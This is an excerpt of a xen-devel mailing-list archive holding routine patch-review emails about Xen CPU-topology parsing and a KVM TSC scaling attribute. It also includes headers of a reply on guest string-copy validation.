List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=TUkYh5Y+D4G98NAg0UpiOP8AVDzft/twQmPLC2YhKR+ssLXIYyXh1a7LHafNPoAgzVzCdpFlC/0HZp+HfBTMMP6taiusMZHhAz8Tir5FT/k20c4+pPqQByeGDPUjxL5vKl5mn2SsXKFpJN8Rgg62IUAL0LCE7/5B4dSaHzhSZW4n7FsNg63gT/4HpovhKsNIUj6+gyesgGLY0Uuw/IiAm0KcjZ7GwtkPm97/tEJkJbXDoHRSQmfS8gXAcdxEBjpcfUxbQ30ZzWYKL6iRlXzWsWcsDFcQu8uzoD+VV57IuL6kSqHlAZ9mGoy7Nk57BJVtuZ0CRi72sOvCXVQQ6hVkig==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Lm2Xs0vJxEQMJv1GsMyDFtYzEB3g9T9GExU9KeoBEME=;
 b=TTfMWqQbf7ExHLGwmLHGXASOue6glenvR24HxYdWJAaa7Y1wjum7rJvrofhVuqhBQv3WTFFhuIC+nQ8wwgH/vBTwVRC5Jne99eYCnqoQQameSnTiCZwlLXFGT02U3d3v3UZ65JYa1jdmSm/j619lOnjQwYpZ+pRmzYjdeBEtyUJe+8DI8cZACGV2xQgXB/OhXvSqpOHC0WvfZYE2+fqDDO0Du+vZCdu0P+PJTRpVAaFdHePtuldT7eedFxL297dnS3AUCTZ7WrPZmVw8GIVj4SVwFFgwvfL3ABKrSDah9fpU4QxnNZE0zrg7EhY4p8g2jg86HRpKwZ4RTeoSR8kMyg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Lm2Xs0vJxEQMJv1GsMyDFtYzEB3g9T9GExU9KeoBEME=;
 b=uhfpK7UQJRnfZ4PE66it2mfE+IwSXsRo73cFEF1vVmJYgQ2zzPNlhFP0beZirxtd6ROur7wBKMKS1ISu649VLXKwiCRxfAGg8sMcu03h9ccxOZ+M0eCQLKHzdyTOiFbprRryyFYufPtS5d4yUyc+JjgB/0yyus5FRMbxsnH0DRY=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>, Anthony PERARD
	<anthony.perard@vates.tech>, =?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?=
	<roger.pau@citrix.com>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v3 1/3] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Topic: [PATCH v3 1/3] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Index:
 AQHdCBJguMZzJpb/JEe22XtErI4LcbZWqjWAgAHISeCAABufgIAAi7BQgAClhICAACFHIA==
Date: Thu, 2 Jul 2026 08:07:14 +0000
Message-ID:
 <OS9P286MB72221B73D41A41B205D437D982F52@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260629215806.11610-1-taka@valinux.co.jp>
 <20260629215806.11610-2-taka@valinux.co.jp>
 <97dd9fd5-c0de-4125-a40a-b7f6e1aed27d@suse.com>
 <OS9P286MB722293D7D09513349055BA4B82F62@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
 <a69129b1-f16b-4ce4-bf88-971f37eec418@suse.com>
 <TY7P286MB72346237AC47028E012D145382F62@TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM>
 <52d1d0b4-6b90-4eb8-a299-7adcc7634f33@suse.com>
In-Reply-To: <52d1d0b4-6b90-4eb8-a299-7adcc7634f33@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|OSOP286MB4065:EE_
x-ms-office365-filtering-correlation-id: 69e0d0d9-58d4-48c4-a492-08ded810ed79
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|1800799024|366016|23010399003|7416014|376014|22082099003|18002099003|38070700021|6133799003|4143699003|56012099006;
x-microsoft-antispam-message-info:
 n0/7h4MQ4qZMOroI22vBzlBi40tmSTgQQRg7ZbDdzKoZnLVIegGae8CpB+UZlFCSC1eFuqK8KjcnKUMDtcJomDZJGdEZW0P6mWG0wn6Ds3f7QxTjWCZRY2OavH5iJSvkuCrHHJ6lY7FhMgh9nG3U/zjerHPeUY2w7u3sebn+fPp5u+A1sg4MZZFV52X0UKp88SAvUwe7Eq+8b0Q6YAyEnLWASEm7PI9AYs+KqIQNLxDkFpj8Agt8AsXW2PKlNGQnJTDtYIBL3RfOE5pVxjtchBLkvEIvI8UYymP/w4KWIyQzLnhLSZ7QUJLFT9QQvN1W8Skquhk3Y1tuaRK70Tqa+OiZc/+k6m4Mx6pOyhexyH9WWa1kJ5ZQC4RuwIscWIGv2GhK2obUo4lYMf0ZVuJkBRR5uDnxxtnvheI0+ctJcEZsKRVo8z32ecBQVUI7m85cFc3hUlFYJpGt6Q34fWSgFwe5IFB3rVxJwbx7Q3vpawXjLiddwNHHR80tDYPC4/+LnvKzJdI3yHVJfkyHp/ArPumW+uCCMVoE6vCG3uhIhQ0178PrvFTaskeTRbwFR46YORMF2iGIXei/d9zK28VstFE3UUjyLLnKGhuSeI62MZdTAcCDRq+KLy0X1zROXYOGEq/mf4Alwhtx+Zh5TGhIZw6TwbSc/+VHfsNaAv23gASAd1rCbLCmiJE/mJzCBily6xwgkKtRUs4oaOr1MobiVGXefTpDn3Rfrb/9cCuJcW8=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(7416014)(376014)(22082099003)(18002099003)(38070700021)(6133799003)(4143699003)(56012099006);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?W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1dSTzVScDg5?=
 =?utf-8?B?VGlEcVphUGxkbG5ZOEIwTjRMeEtZRW4yUThKbjJ4ZW1HcDVqeWRpNWpIRUIr?=
 =?utf-8?B?V2FUcUVxTFM1UExSdE5PWGVZS0RDaVU3MGJ5VFNMQUV1Yyt4eVNkUXNGWnJX?=
 =?utf-8?B?ZURiT29UajQzTFdsZ2FBYngrZ3NlN3BDOS9KVmk4eTVMUXpoRUpyV2dzVnFK?=
 =?utf-8?B?QXhOWG42czY5YWZWQ3R6TWtuYkRybGRWR1lvSGJWSE8vdlpsQkxJTmp6QUhK?=
 =?utf-8?B?OG01VSt3Z2FtRVFLTEt3cG43a0I3dHBlemVHdzZ2R21mTzlpdm5nMXM0VEhX?=
 =?utf-8?B?RWRFcStha1NtRXVrdVhETVBFSU80N0ltZExGa3lBY1ZST0czV0RxK3M1OFNN?=
 =?utf-8?B?Qm9sSE1mTGZqR1dQZURnSkJ0dFViOWliTndFRUg1eUp1NC9ORWdlbHpaMnNi?=
 =?utf-8?B?Vkhxb1VmeUlwR29uMDZFbWtlbkttcVZpandXc3JXTDcxajJlRnc2SS9wTFNr?=
 =?utf-8?B?eTNYNGxIVkxaaVZtY3U1elNlV05tU1RQVzg0R1F0Mkl5RE9Va1hmQVprZ0JJ?=
 =?utf-8?Q?ulGNjzAO/a9YTnJvDb?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 69e0d0d9-58d4-48c4-a492-08ded810ed79
X-MS-Exchange-CrossTenant-originalarrivaltime: 02 Jul 2026 08:07:14.4600
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: yrbEhs0iaRbForExSyX8lC1a6BhQVSbzcFRi3U5CNR9QQEV+5W7du7YmOAagCCjfR/5l+bl30r4MyOi02KkELw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OSOP286MB4065
X-purgate-ID: tlsNG-720697/1782979645-4C13A7C5-BED15EBC/0/0
X-purgate-type: clean
X-purgate-size: 2366

SGVsbG8sDQoNCj4gPj4+Pj4gKyNlbHNlIC8qIENPTkZJR19DUFVfVE9QT0xPR1kgKi8NCj4gPj4+
Pj4gKw0KPiA+Pj4+PiArI2RlZmluZSBjcHVfdG9wb2xvZ3kgKChzdHJ1Y3QgY3B1X3RvcG9sb2d5
ICopTlVMTCkNCj4gPj4+Pg0KPiA+Pj4+IFdoeSBleGFjdGx5IGlzIHRoaXMgbmVlZGVkPyBJdCB2
ZXJ5IG11Y2ggbG9va3MgYXMgaWYgaXRzIHByZXNlbmNlIG1heSBoaWRlDQo+ID4+IGJ1Z3MuDQo+
ID4+Pg0KPiA+Pj4gSW4gdGhlIGN1cnJlbnQgY29kZSwgdGhlIGNvbmRpdGlvbiBpZiAoIGNwdV90
b3BvbG9neSApIGlzIHVzZWQgdG8gY292ZXIgYm90aA0KPiA+PiBjYXNlczoNCj4gPj4+IHdoZW4g
Q09ORklHX0NQVV9UT1BPTE9HWSBpcyBkaXNhYmxlZCwgYW5kIHdoZW4gbWVtb3J5IGFsbG9jYXRp
b24gZm9yDQo+ID4+PiB0b3BvbG9neSB0YWJsZSBmYWlscy4NCj4gPj4+DQo+ID4+PiBUaGUgbmV4
dCBwYXRjaCB1c2VzIGlmICggY3B1X3RvcG9sb2d5ICkuDQo+ID4+Pg0KPiA+Pj4gc3RhdGljIGlu
dCBzZXR1cF9jcHVfc2libGluZ19tYXAoaW50IGNwdSkNCj4gPj4+IHsNCj4gPj4+ICAgICBpZiAo
ICF6YWxsb2NfY3B1bWFza192YXIoJnBlcl9j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BpcyB0aGUgaW1wb3J0YW50IHBhcnQuDQoNCkhlcmUgaXMgbXkgY3VycmVu
dCBwbGFuOg0KSW4gdGhlIGBjcHUtdG9wb2xvZ3kuaGAgaGVhZGVyLCBJIHdpbGwgcHJvdmlkZSBh
biBpbml0aWFsaXphdGlvbiBmdW5jdGlvbiBmb3IgYGNwdV9zaWJsaW5nX21hc2tgDQphbmQgYGNw
dV9jb3JlX21hc2tgIHdoZW4gYENPTkZJR19HRU5FUklDX0NQVV9UT1BPTE9HWWAgaXMgb24sIGFs
b25nIHdpdGggYW5vdGhlcg0KZGVmaW5pdGlvbiB3aGVuIGl0IGlzIG9mZiwgYW5kIHRoZW4gY2Fs
bCB0aGVtIGZyb20gYHNldHVwX2NwdV9zaWJsaW5nX21hcCgpYC4NCg0KVGhhbmsgeW91LA0KSGly
b2thenUgVGFrYWhhc2hpLg0K


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 08:09:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 08:09:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351357.1608548 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfCUL-0006BB-Pb; Thu, 02 Jul 2026 08:09:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351357.1608548; Thu, 02 Jul 2026 08:09:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfCUL-0006B4-M8; Thu, 02 Jul 2026 08:09:37 +0000
Received: by outflank-mailman (input) for mailman id 1351357;
 Thu, 02 Jul 2026 08:09:36 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+f8de22289c464b8ad8ee+8348+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wfCUH-0006Aw-VE
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 08:09:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfCUH-00D9Bf-8P; Thu, 02 Jul 2026 10:09:33 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+f8de22289c464b8ad8ee+8348+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a461cba-bab6-0a2a0a5309dd-0a2a4501d770-4
 for <multiple-recipients>; Thu, 02 Jul 2026 10:09:32 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+f8de22289c464b8ad8ee+8348+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a461cbb-400f-0a2a45010019-5a9b3222b4d4-3
 for <multiple-recipients>; Thu, 02 Jul 2026 10:09:31 +0200
Received: from [2001:8b0:10b:5:5473:9ff4:cd52:8d75]
 (helo=u09cd745991455d.ant.amazon.com)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wfCTx-00000008ASp-1ISn; Thu, 02 Jul 2026 08:09:13 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="MIME-Version:Content-Type:References:In-Reply-To:Date:Cc:To:From:Subject:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=MIME-Version:Content-Type:References:
	In-Reply-To:Date:Cc:To:From:Subject:Message-ID:Sender:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description;
	bh=C1JE0E2yTpRWfUkz4axn6/Dw5IWHQaOp/p6g23YXFbE=; b=q801JK05dLlH+llycjxFQ//QeS
	LEbRR45YFW2vz4zIwfiFSnaVtVZ0DZoh5+pxi1J3h9hQxsFNTB64UHBENmcNi8qQFtMuC0Q28yFQD
	JQyyoYs0N6tVzustwYmBoUpezPS/6gR8KIeyWsR6HQUDHqAeOsTnuu/7Iz1oyO2U5Ouxwe6LuAq4V
	wciJ79rBd0XV3JVl5jp8RQdrCwqCuwCqYINgqbBNojO9TfL+J+GHuUYDFhAPSnMGVrDF9/aMHhDM4
	ggKo5lICjSzdRTDZWxcMl5jnjFBZL46js8x/g4MMDazDxcDmmSOC9ou/cua7ldgmol2aFfnQs2BZH
	VA6j3lEg==;
Message-ID: <45a534712b398d5d3b2343a67d9855ff6980a9ae.camel@infradead.org>
Subject: Re: [PATCH v5 08/34] KVM: x86: Add KVM_VCPU_TSC_SCALE and fix the
 documentation on TSC migration
From: David Woodhouse <dwmw2@infradead.org>
To: Sean Christopherson <seanjc@google.com>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
 Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>,  Borislav Petkov	 <bp@alien8.de>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"	
 <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross	
 <jgross@suse.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul
 Durrant	 <paul@xen.org>, Jonathan Cameron <jic23@kernel.org>, Sascha
 Bischoff	 <Sascha.Bischoff@arm.com>, Marc Zyngier <maz@kernel.org>, Joey
 Gouly	 <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, Dongli
 Zhang	 <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Date: Thu, 02 Jul 2026 09:09:11 +0100
In-Reply-To: <akWK_duG7ZsIekt7@google.com>
References: <20260608145455.89187-1-dwmw2@infradead.org>
	 <20260608145455.89187-9-dwmw2@infradead.org> <akWK_duG7ZsIekt7@google.com>
Content-Type: multipart/signed; micalg="sha-256"; protocol="application/pkcs7-signature";
	boundary="=-ha5BiPOGdolMhVL9f35m"
User-Agent: Evolution 3.60.3-0ubuntu1~ppa9~24.04 
MIME-Version: 1.0
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d62444/1782979772-D16DE1E0-0249674C/0/0
X-purgate-type: clean
X-purgate-size: 9306


--=-ha5BiPOGdolMhVL9f35m
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Wed, 2026-07-01 at 14:47 -0700, Sean Christopherson wrote:
> On Mon, Jun 08, 2026, David Woodhouse wrote:
> > diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
> > index c1897d939da9..6337f9b9d7ac 100644
> > --- a/arch/x86/kvm/x86.c
> > +++ b/arch/x86/kvm/x86.c
> > @@ -5930,6 +5930,9 @@ static int kvm_arch_tsc_has_attr(struct
> > kvm_vcpu *vcpu,
> > =C2=A0	case KVM_VCPU_TSC_OFFSET:
> > =C2=A0		r =3D 0;
> > =C2=A0		break;
> > +	case KVM_VCPU_TSC_SCALE:
> > +		r =3D kvm_caps.has_tsc_control ? 0 : -ENXIO;
> > +		break;
> > =C2=A0	default:
> > =C2=A0		r =3D -ENXIO;
> > =C2=A0	}
> > @@ -5950,6 +5953,22 @@ static int kvm_arch_tsc_get_attr(struct
> > kvm_vcpu *vcpu,
> > =C2=A0			break;
> > =C2=A0		r =3D 0;
> > =C2=A0		break;
> > +	case KVM_VCPU_TSC_SCALE: {
> > +		struct kvm_vcpu_tsc_scale scale;
> > +
> > +		if (!kvm_caps.has_tsc_control) {
> > +			r =3D -ENXIO;
> > +			break;
> > +		}
>=20
> Uber nit.=C2=A0 For consistency with KVM's bizarre pattern here:
>=20
> 		r =3D -ENXIO;
> 		if (!kvm_caps.has_tsc_control)
> 			break;

Ack.

> > +
> > +		scale.tsc_ratio =3D vcpu->arch.l1_tsc_scaling_ratio;
> > +		scale.tsc_frac_bits =3D
> > kvm_caps.tsc_scaling_ratio_frac_bits;
> > +		r =3D -EFAULT;
> > +		if (copy_to_user(uaddr, &scale, sizeof(scale)))
> > +			break;
> > +		r =3D 0;
> > +		break;
> > +	}
> > =C2=A0	default:
> > =C2=A0		r =3D -ENXIO;
> > =C2=A0	}
> > @@ -5989,6 +6008,9 @@ static int kvm_arch_tsc_set_attr(struct
> > kvm_vcpu *vcpu,
> > =C2=A0		r =3D 0;
> > =C2=A0		break;
> > =C2=A0	}
> > +	case KVM_VCPU_TSC_SCALE:
>=20
> Another stupid consistency nit.=C2=A0 Probably do this?
>=20
> 		/*
> 		 * TSC scaling information is read-only (it's a
> reflection of
> 		 * the TSC frequency, which can be set by
> userspace).
> 		 */
> 		r =3D kvm_caps.has_tsc_control ? -EINVAL : -ENXIO;

Hm, I'd already done that, but it ended up squashed into the final
patch of the series. Putting it back in the right place for v6, along
with the above.

--=-ha5BiPOGdolMhVL9f35m
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQ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d
caKQt+THhWaqjpUwPV+4HDNZmS500uNSxalqR0k/eORtOXAsT5GLBefy4/GYndKqi8Og7sTcWn7q
QYBoTXYZx5vUoJXU/BQisCS12NGw3C+x3ddSlZieFe38NLr4U155Rv9qsFJnPfZzaeOaI/x2JPwZ
PErpag2BSEAzjhnne5QXZZLIab3+kX7pEcWU/izuy8Nsc8VKTMC/Jh0tGZWdhS5gIv+QZCfFMDje
GBQWu8uCuzf6gUMKC+kDDCJZoQ03k0HLW3cJ7gwH8/h3MT0UyAA8RobKuXht/pZ+oEQCqvDTFjmf
ppGeaVSNpqfTRk7D0cmamUM53P+qwT2IQ9sDJY168fvlNlFVcfOZjJKNojmLSrP+a5HfxLs2LzBN
Kx65YaUxa2LfNJ930DZLOiv5R0E9W2K6cOKBAbsreDpu0u+AwnQrZfw4qZyDY/wAAAAAAAA=


--=-ha5BiPOGdolMhVL9f35m--


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 08:10:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 08:10:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351365.1608558 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfCVE-0007ed-5r; Thu, 02 Jul 2026 08:10:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351365.1608558; Thu, 02 Jul 2026 08:10:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfCVE-0007eW-2F; Thu, 02 Jul 2026 08:10:32 +0000
Received: by outflank-mailman (input) for mailman id 1351365;
 Thu, 02 Jul 2026 08:10:31 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f21e0f0bb00080a8@swg.vates.tech>)
 id 1wfCVD-0007eE-00
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 08:10:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfCVC-006YAq-24
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 10:10:30 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f21e0f0bb00080a8@swg.vates.tech>)
 id 6a461cea-e002-0a2a0a5209dd-0a2a450b8880-44
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 10:10:26 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f21e0f0bb00080a8@swg.vates.tech>)
 id 6a461cf1-ac48-0a2a450b0019-b9ff1c228991-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 10:10:25 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f21e0f0bb00080a8.007 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 02 Jul 2026 08:10:17 +0000
Received: from l14 (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr [90.112.16.6])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id EA49B81185;
 Thu,  2 Jul 2026 10:10:16 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=NzjTuiIjDTo1ZZYWkpiat2ZqEEL6x3BN/uhxJFF01R8=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=Zr/oNT9XlnRlOrgPaKUQf9FbSprIFnNkWwqEEHkDDGxQy2tmwZhWG3ys5HUQj7+p2HuV51TSj
 5yz9CjcPNftPUy6IQjz9EIyec+VcDoFYfuprjqiT+sfQiXiPDaKcci7MXF/gv/0CYNpIEwwNZGt
 c+k/ho+qEBhfIH8p7IRjqIsFCakfGXlHzK0O4Tf2FkjpwjIgHI8xFTesXcLA4Nv0eqineLtAXEe
 S/JdX7rtVhI5cHVeiiid11BXuR3xMsVdrxgGndWt42AnF/7dMCNUp5x3JF2qcST27IxjU/XqE6E
 1QeVHNaTfNv4vJ3V9YzqxYRNr6xa+mkH3lqZuPks96UQ==
X-Zone-Loop: ee71f1b68e5dcc06fe78d492b4692f29d182dab32c26
x-campaign-type: default
x-transaction-id: d87f70da-4587-4978-bfa8-d0bde2e2714a
x-swg-uid: 01-ba1883c0-31d7-4f8a-bd64-0c977363d851
X-Mailer: Sweego
Message-ID:
 <1782979817.8631fc262581453bbf619ec5b2062170.19f21e0f0bb00080a8@vates.tech>
x-swg-bid: 1782979817.8631fc262581453bbf619ec5b2062170.19f21e0f0bb00080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Thu, 2 Jul 2026 10:10:16 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Michal Orzel <michal.orzel@amd.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Daniel Smith <dpsmith@apertussolutions.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH v2 2/2] lib: make safe_copy_string_from_guest() validate
 input
References: <ba863889-b389-4264-824e-121a5daeba61@suse.com>
 <80bc4e83-b767-4692-9ce1-0ebf68d7ab26@suse.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <80bc4e83-b767-4692-9ce1-0ebf68d7ab26@suse.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.2f.704031f6a12d6c5e.19f21e0ee99.35cf2f2dae56525b=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
